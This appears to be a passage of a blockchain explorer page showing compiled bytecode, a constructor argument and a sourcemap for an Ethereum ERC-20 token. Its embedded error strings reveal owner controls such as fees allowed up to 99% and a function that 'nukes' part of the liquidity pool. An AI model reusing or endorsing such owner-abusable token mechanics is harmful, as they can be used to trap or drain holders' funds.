73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361368f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161368690614f0b565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036136fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016136f490614f99565b60405180910390fd5b613708838383613c66565b613772816040518060600160405280602681526020016157066026913960025f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546132409092919063ffffffff16565b60025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506138038160025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546132a290919063ffffffff16565b60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516138a191906141e5565b60405180910390a3505050565b5f806138b8613c6b565b90508091505090565b5f6138cb30611605565b90505f602154601f546020546138e191906148a7565b6138eb91906148a7565b90505f808314806138fb57505f82145b1561390857505050613a38565b6014600c5461391791906145eb565b831115613930576014600c5461392d91906145eb565b92505b5f6002836020548661394291906145eb565b61394c9190614659565b6139569190614659565b90505f61396c8286613d0b90919063ffffffff16565b90505f47905061397b82613d54565b5f61398f8247613d0b90919063ffffffff16565b90505f6020819055505f601f819055505f602181905550600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16816040516139eb906154c9565b5f6040518083038185875af1925050503d805f8114613a25576040519150601f19603f3d011682016040523d82523d5f602084013e613a2a565b606091505b505080955050505050505050505b565b5f803073ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401613a759190614346565b602060405180830381865afa158015613a90573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190613ab49190614cec565b90505f613ae0612710613ad2601e548561356190919063ffffffff16565b6135d890919063ffffffff16565b90505f73ffffffffffffffffffffffffffffffffffffffff1660265f8381526020019081526020015f205f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614613bf9575f60265f8381526020019081526020015f205f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508073ffffffffffffffffffffffffffffffffffffffff166323b872dd8787856040518463ffffffff1660e01b8152600401613bb6939291906154dd565b6020604051808303815f875af1158015613bd2573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190613bf69190615526565b50505b60019250505092915050565b5f8083118290613c4b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613c429190614011565b60405180910390fd5b505f8385613c599190614659565b9050809150509392505050565b505050565b5f8073ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614613ce3575f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff16613d06565b60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff165b905090565b5f613d4c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250613240565b905092915050565b5f600267ffffffffffffffff811115613d7057613d6f615551565b5b604051908082528060200260200182016040528015613d9e5781602001602082028036833780820191505090505b50905030815f81518110613db557613db4614717565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015613e58573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190613e7c9190615592565b81600181518110613e9057613e8f614717565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050613ef5307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d84612511565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b8152600401613f569594939291906156ad565b5f604051808303815f87803b158015613f6d575f80fd5b505af1158015613f7f573d5f803e3d5ffd5b505050505050565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015613fbe578082015181840152602081019050613fa3565b5f8484015250505050565b5f601f19601f8301169050919050565b5f613fe382613f87565b613fed8185613f91565b9350613ffd818560208601613fa1565b61400681613fc9565b840191505092915050565b5f6020820190508181035f8301526140298184613fd9565b905092915050565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61406282614039565b9050919050565b61407281614058565b811461407c575f80fd5b50565b5f8135905061408d81614069565b92915050565b5f819050919050565b6140a581614093565b81146140af575f80fd5b50565b5f813590506140c08161409c565b92915050565b5f80604083850312156140dc576140db614031565b5b5f6140e98582860161407f565b92505060206140fa858286016140b2565b9150509250929050565b5f8115159050919050565b61411881614104565b82525050565b5f6020820190506141315f83018461410f565b92915050565b5f6020828403121561414c5761414b614031565b5b5f6141598482850161407f565b91505092915050565b5f819050919050565b5f61418561418061417b84614039565b614162565b614039565b9050919050565b5f6141968261416b565b9050919050565b5f6141a78261418c565b9050919050565b6141b78161419d565b82525050565b5f6020820190506141d05f8301846141ae565b92915050565b6141df81614093565b82525050565b5f6020820190506141f85f8301846141d6565b92915050565b5f6020828403121561421357614212614031565b5b5f614220848285016140b2565b91505092915050565b5f805f606084860312156142405761423f614031565b5b5f61424d8682870161407f565b935050602061425e8682870161407f565b925050604061426f868287016140b2565b9150509250925092565b5f80fd5b5f80fd5b5f80fd5b5f8083601f84011261429a57614299614279565b5b8235905067ffffffffffffffff8111156142b7576142b661427d565b5b6020830191508360208202830111156142d3576142d2614281565b5b9250929050565b5f805f604084860312156142f1576142f0614031565b5b5f84013567ffffffffffffffff81111561430e5761430d614035565b5b61431a86828701614285565b9350935050602061432d868287016140b2565b9150509250925092565b61434081614058565b82525050565b5f6020820190506143595f830184614337565b92915050565b5f60ff82169050919050565b6143748161435f565b82525050565b5f60208201905061438d5f83018461436b565b92915050565b61439c81614104565b81146143a6575f80fd5b50565b5f813590506143b781614393565b92915050565b5f805f606084860312156143d4576143d3614031565b5b5f6143e1868287016140b2565b93505060206143f2868287016140b2565b9250506040614403868287016143a9565b9150509250925092565b5f806040838503121561442357614422614031565b5b5f6144308582860161407f565b9250506020614441858286016143a9565b9150509250929050565b5f805f6060848603121561446257614461614031565b5b5f61446f868287016140b2565b9350506020614480868287016140b2565b9250506040614491868287016140b2565b9150509250925092565b5f602082840312156144b0576144af614031565b5b5f6144bd848285016143a9565b91505092915050565b5f80604083850312156144dc576144db614031565b5b5f6144e98582860161407f565b92505060206144fa8582860161407f565b9150509250929050565b5f805f6040848603121561451b5761451a614031565b5b5f84013567ffffffffffffffff81111561453857614537614035565b5b61454486828701614285565b93509350506020614557868287016143a9565b9150509250925092565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806145a557607f821691505b6020821081036145b8576145b7614561565b5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f6145f582614093565b915061460083614093565b925082820261460e81614093565b91508282048414831517614625576146246145be565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f61466382614093565b915061466e83614093565b92508261467e5761467d61462c565b5b828204905092915050565b7f43616e6e6f7420736574206d61785472616e73616374696f6e416d6f756e74205f8201527f6c6f776572207468616e20302e31250000000000000000000000000000000000602082015250565b5f6146e3602f83613f91565b91506146ee82614689565b604082019050919050565b5f6020820190508181035f830152614710816146d7565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f61474e82614093565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82036147805761477f6145be565b5b600182019050919050565b7f63616e6e6f7420736574206275796261636b206d6f7265206f6674656e2074685f8201527f616e206576657279203130206d696e7574657300000000000000000000000000602082015250565b5f6147e5603383613f91565b91506147f08261478b565b604082019050919050565b5f6020820190508181035f830152614812816147d9565b9050919050565b7f4d75737420736574206175746f204c50206275726e2070657263656e742062655f8201527f747765656e20302520616e642031302500000000000000000000000000000000602082015250565b5f614873603083613f91565b915061487e82614819565b604082019050919050565b5f6020820190508181035f8301526148a081614867565b9050919050565b5f6148b182614093565b91506148bc83614093565b92508282019050808211156148d4576148d36145be565b5b92915050565b7f4d757374206b656570206665657320617420323525206f72206c6573730000005f82015250565b5f61490e601d83613f91565b9150614919826148da565b602082019050919050565b5f6020820190508181035f83015261493b81614902565b9050919050565b7f4d757374206b656570206665657320617420393925206f72206c6573730000005f82015250565b5f614976601d83613f91565b915061498182614942565b602082019050919050565b5f6020820190508181035f8301526149a38161496a565b9050919050565b7f43616e6e6f7420736574206d617857616c6c6574206c6f776572207468616e205f8201527f302e352500000000000000000000000000000000000000000000000000000000602082015250565b5f614a04602483613f91565b9150614a0f826149aa565b604082019050919050565b5f6020820190508181035f830152614a31816149f8565b9050919050565b7f5377617020616d6f756e742063616e6e6f74206265206c6f776572207468616e5f8201527f20302e3030312520746f74616c20737570706c792e0000000000000000000000602082015250565b5f614a92603583613f91565b9150614a9d82614a38565b604082019050919050565b5f6020820190508181035f830152614abf81614a86565b9050919050565b7f5377617020616d6f756e742063616e6e6f7420626520686967686572207468615f8201527f6e20312520746f74616c20737570706c792e0000000000000000000000000000602082015250565b5f614b20603283613f91565b9150614b2b82614ac6565b604082019050919050565b5f6020820190508181035f830152614b4d81614b14565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f614bae602683613f91565b9150614bb982614b54565b604082019050919050565b5f6020820190508181035f830152614bdb81614ba2565b9050919050565b7f4d757374207761697420666f7220636f6f6c646f776e20746f2066696e6973685f82015250565b5f614c16602083613f91565b9150614c2182614be2565b602082019050919050565b5f6020820190508181035f830152614c4381614c0a565b9050919050565b7f4d6179206e6f74206e756b65206d6f7265207468616e20313025206f6620746f5f8201527f6b656e7320696e204c5000000000000000000000000000000000000000000000602082015250565b5f614ca4602a83613f91565b9150614caf82614c4a565b604082019050919050565b5f6020820190508181035f830152614cd181614c98565b9050919050565b5f81519050614ce68161409c565b92915050565b5f60208284031215614d0157614d00614031565b5b5f614d0e84828501614cd8565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f614d71602483613f91565b9150614d7c82614d17565b604082019050919050565b5f6020820190508181035f830152614d9e81614d65565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f614dff602283613f91565b9150614e0a82614da5565b604082019050919050565b5f6020820190508181035f830152614e2c81614df3565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f614e67602083613f91565b9150614e7282614e33565b602082019050919050565b5f6020820190508181035f830152614e9481614e5b565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f614ef5602583613f91565b9150614f0082614e9b565b604082019050919050565b5f6020820190508181035f830152614f2281614ee9565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f614f83602383613f91565b9150614f8e82614f29565b604082019050919050565b5f6020820190508181035f830152614fb081614f77565b9050919050565b7f54726164696e67206973206e6f74206163746976652e000000000000000000005f82015250565b5f614feb601683613f91565b9150614ff682614fb7565b602082019050919050565b5f6020820190508181035f83015261501881614fdf565b9050919050565b7f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c5f8201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b60208201527f20616c6c6f7765642e0000000000000000000000000000000000000000000000604082015250565b5f61509f604983613f91565b91506150aa8261501f565b606082019050919050565b5f6020820190508181035f8301526150cc81615093565b9050919050565b7f427579207472616e7366657220616d6f756e74206578636565647320746865205f8201527f6d61785472616e73616374696f6e416d6f756e742e0000000000000000000000602082015250565b5f61512d603583613f91565b9150615138826150d3565b604082019050919050565b5f6020820190508181035f83015261515a81615121565b9050919050565b7f4d61782077616c6c6574206578636565646564000000000000000000000000005f82015250565b5f615195601383613f91565b91506151a082615161565b602082019050919050565b5f6020820190508181035f8301526151c281615189565b9050919050565b7f53656c6c207472616e7366657220616d6f756e742065786365656473207468655f8201527f206d61785472616e73616374696f6e416d6f756e742e00000000000000000000602082015250565b5f615223603683613f91565b915061522e826151c9565b604082019050919050565b5f6020820190508181035f83015261525081615217565b9050919050565b5f61526182614093565b915061526c83614093565b9250828203905081811115615284576152836145be565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f6152be601b83613f91565b91506152c98261528a565b602082019050919050565b5f6020820190508181035f8301526152eb816152b2565b9050919050565b7f45524332303a206275726e2066726f6d20746865207a65726f206164647265735f8201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b5f61534c602183613f91565b9150615357826152f2565b604082019050919050565b5f6020820190508181035f83015261537981615340565b9050919050565b7f45524332303a206275726e20616d6f756e7420657863656564732062616c616e5f8201527f6365000000000000000000000000000000000000000000000000000000000000602082015250565b5f6153da602283613f91565b91506153e582615380565b604082019050919050565b5f6020820190508181035f830152615407816153ce565b9050919050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f615468602183613f91565b91506154738261540e565b604082019050919050565b5f6020820190508181035f8301526154958161545c565b9050919050565b5f81905092915050565b50565b5f6154b45f8361549c565b91506154bf826154a6565b5f82019050919050565b5f6154d3826154a9565b9150819050919050565b5f6060820190506154f05f830186614337565b6154fd6020830185614337565b61550a60408301846141d6565b949350505050565b5f8151905061552081614393565b92915050565b5f6020828403121561553b5761553a614031565b5b5f61554884828501615512565b91505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b5f8151905061558c81614069565b92915050565b5f602082840312156155a7576155a6614031565b5b5f6155b48482850161557e565b91505092915050565b5f819050919050565b5f6155e06155db6155d6846155bd565b614162565b614093565b9050919050565b6155f0816155c6565b82525050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b61562881614058565b82525050565b5f615639838361561f565b60208301905092915050565b5f602082019050919050565b5f61565b826155f6565b6156658185615600565b935061567083615610565b805f5b838110156156a0578151615687888261562e565b975061569283615645565b925050600181019050615673565b5085935050505092915050565b5f60a0820190506156c05f8301886141d6565b6156cd60208301876155e7565b81810360408301526156df8186615651565b90506156ee6060830185614337565b6156fb60808301846141d6565b969550505050505056fe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa264697066735822122098ebed415dec2ded2b14a80e3681b61870060254bed4ba5952404f19f3bb669464736f6c63430008140033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

0000000000000000000000002c8c10588098a54b2df2148ec8819ff88edddf2c

-----Decoded View---------------
Arg [0] : team_ (address): 0x2C8C10588098A54B2DF2148EC8819Ff88edDDf2c

-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 0000000000000000000000002c8c10588098a54b2df2148ec8819ff88edddf2c


Deployed Bytecode Sourcemap

135:17848:3:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4149:100:1;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6315:169;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;979:46:3;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1813:64;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;202:51;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5268:108:1;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7946:157:3;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;576:50;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;677:35;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1368:33;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1328;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6934:233;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6966:355:1;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13803:223:3;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;260:53;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;759:54;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;720:32;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5111:92:1;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;864:32:3;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7730:218:1;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2172:93:4;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;320:28:3;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8265:125;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1179:28;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;942:30;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5439:127:1;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1443:148:4;;;;;;;;;;;;;:::i;:::-;;17527:447:3;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5577:127;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8111:144;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;533:30;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1068;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6557:369;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4897:155;;;;;;;;;;;;;:::i;:::-;;650:79:4;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;502:24:3;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1214:31;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5464:101;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4368:104:1;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1142:24:3;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12777:107:1;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;633:35:3;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1408:27;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1290:25;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8451:269:1;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;820:29:3;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5779:175:1;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8402:208:3;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;903:32;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7396:182;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6171:378;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;7175:213;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4686:157;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;2035:61;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1626:39;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;418:35;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5774:385;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1034:27;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6017:151:1;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17407:112:3;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15086:194;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;460:33;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5117:134;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1105:30;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1746:244:4;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;7795:143:3;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;1252:31;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;387:24;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15292:1009;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4149:100:1;4203:13;4236:5;4229:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4149:100;:::o;6315:169::-;6398:4;6415:39;6424:12;:10;:12::i;:::-;6438:7;6447:6;6415:8;:39::i;:::-;6472:4;6465:11;;6315:169;;;;:::o;979:46:3:-;;;;;;;;;;;;;;;;;;;;;;:::o;1813:64::-;;;;;;;;;;;;;;;;;;;;;;:::o;202:51::-;;;:::o;5268:108:1:-;5329:7;5356:12;;5349:19;;5268:108;:::o;7946:157:3:-;854:13:4;:11;:13::i;:::-;8053:9:3::1;;;;;;;;;;;8025:38;;8042:9;8025:38;;;;;;;;;;;;8086:9;8074;;:21;;;;;;;;;;;;;;;;;;7946:157:::0;:::o;576:50::-;;;;:::o;677:35::-;;;;:::o;1368:33::-;;;;:::o;1328:::-;;;;:::o;6934:233::-;854:13:4;:11;:13::i;:::-;7053:3:3::1;7047:4;7043:1;7027:13;:11;:13::i;:::-;:17;;;;:::i;:::-;:24;;;;:::i;:::-;7026:30;;;;:::i;:::-;7016:6;:40;;7008:100;;;;;;;;;;;;:::i;:::-;;;;;;;;;7152:6;7142;:17;;;;:::i;:::-;7119:20;:40;;;;6934:233:::0;:::o;6966:355:1:-;7106:4;7123:36;7133:6;7141:9;7152:6;7123:9;:36::i;:::-;7170:121;7179:6;7187:12;:10;:12::i;:::-;7201:89;7239:6;7201:89;;;;;;;;;;;;;;;;;:11;:19;7213:6;7201:19;;;;;;;;;;;;;;;:33;7221:12;:10;:12::i;:::-;7201:33;;;;;;;;;;;;;;;;:37;;:89;;;;;:::i;:::-;7170:8;:121::i;:::-;7309:4;7302:11;;6966:355;;;;;:::o;13803:223:3:-;854:13:4;:11;:13::i;:::-;13900:9:3::1;13895:124;13919:10;;:17;;13915:1;:21;13895:124;;;13987:10;;13998:1;13987:13;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;13963:44;;13972:13;;;;;;;;;;;13963:44;;;14002:4;13963:44;;;;;;:::i;:::-;;;;;;;;13938:3;;;;;:::i;:::-;;;;13895:124;;;;13803:223:::0;;;:::o;260:53::-;306:6;260:53;:::o;759:54::-;;;;:::o;720:32::-;;;;;;;;;;;;;:::o;5111:92:1:-;5169:5;5194:1;5187:8;;5111:92;:::o;864:32:3:-;;;;;;;;;;;;;:::o;7730:218:1:-;7818:4;7835:83;7844:12;:10;:12::i;:::-;7858:7;7867:50;7906:10;7867:11;:25;7879:12;:10;:12::i;:::-;7867:25;;;;;;;;;;;;;;;:34;7893:7;7867:34;;;;;;;;;;;;;;;;:38;;:50;;;;:::i;:::-;7835:8;:83::i;:::-;7936:4;7929:11;;7730:218;;;;:::o;2172:93:4:-;854:13;:11;:13::i;:::-;2250:7:::1;2242:5;;:15;;;;;;;;;;;;;;;;;;2172:93:::0;:::o;320:28:3:-;;;;;;;;;;;;;:::o;8265:125::-;8330:4;8354:19;:28;8374:7;8354:28;;;;;;;;;;;;;;;;;;;;;;;;;8347:35;;8265:125;;;:::o;1179:28::-;;;;:::o;942:30::-;;;;;;;;;;;;;:::o;5439:127:1:-;5513:7;5540:9;:18;5550:7;5540:18;;;;;;;;;;;;;;;;5533:25;;5439:127;;;:::o;1443:148:4:-;854:13;:11;:13::i;:::-;1550:1:::1;1513:40;;1534:6;::::0;::::1;;;;;;;;1513:40;;;;;;;;;;;;1581:1;1564:6:::0;::::1;:19;;;;;;;;;;;;;;;;;;1443:148::o:0;17527:447:3:-;854:13:4;:11;:13::i;:::-;17681:3:3::1;17658:19;:26;;17650:90;;;;;;;;;;;;:::i;:::-;;;;;;;;;17771:4;17759:8;:16;;:33;;;;;17791:1;17779:8;:13;;17759:33;17751:94;;;;;;;;;;;;:::i;:::-;;;;;;;;;17874:19;17856:15;:37;;;;17923:8;17904:16;:27;;;;17958:8;17942:13;;:24;;;;;;;;;;;;;;;;;;17527:447:::0;;;:::o;5577:127::-;5627:4;854:13:4;:11;:13::i;:::-;5659:5:3::1;5643:13;;:21;;;;;;;;;;;;;;;;;;5692:4;5685:11;;5577:127:::0;:::o;8111:144::-;854:13:4;:11;:13::i;:::-;8243:4:3::1;8201:31;:39;8233:6;8201:39;;;;;;;;;;;;;;;;:46;;;;;;;;;;;;;;;;;;8111:144:::0;;:::o;533:30::-;;;;;;;;;;;;;:::o;1068:::-;;;;:::o;6557:369::-;854:13:4;:11;:13::i;:::-;6691::3::1;6673:15;:31;;;;6733:13;6715:15;:31;;;;6769:7;6757:9;:19;;;;6838:9;;6820:15;;6802;;:33;;;;:::i;:::-;:45;;;;:::i;:::-;6787:12;:60;;;;6882:2;6866:12;;:18;;6858:60;;;;;;;;;;;;:::i;:::-;;;;;;;;;6557:369:::0;;;:::o;4897:155::-;854:13:4;:11;:13::i;:::-;4968:4:3::1;4952:13;;:20;;;;;;;;;;;;;;;;;;4997:4;4983:11;;:18;;;;;;;;;;;;;;;;;;5029:15;5012:14;:32;;;;4897:155::o:0;650:79:4:-;688:7;715:6;;;;;;;;;;;708:13;;650:79;:::o;502:24:3:-;;;;;;;;;;;;;:::o;1214:31::-;;;;:::o;5464:101::-;854:13:4;:11;:13::i;:::-;5550:7:3::1;5536:11;;:21;;;;;;;;;;;;;;;;;;5464:101:::0;:::o;4368:104:1:-;4424:13;4457:7;4450:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4368:104;:::o;1142:24:3:-;;;;:::o;12777:107:1:-;854:13:4;:11;:13::i;:::-;12854:22:1::1;12860:7;12869:6;12854:5;:22::i;:::-;12777:107:::0;;:::o;633:35:3:-;;;;:::o;1408:27::-;;;;:::o;1290:25::-;;;;:::o;8451:269:1:-;8544:4;8561:129;8570:12;:10;:12::i;:::-;8584:7;8593:96;8632:15;8593:96;;;;;;;;;;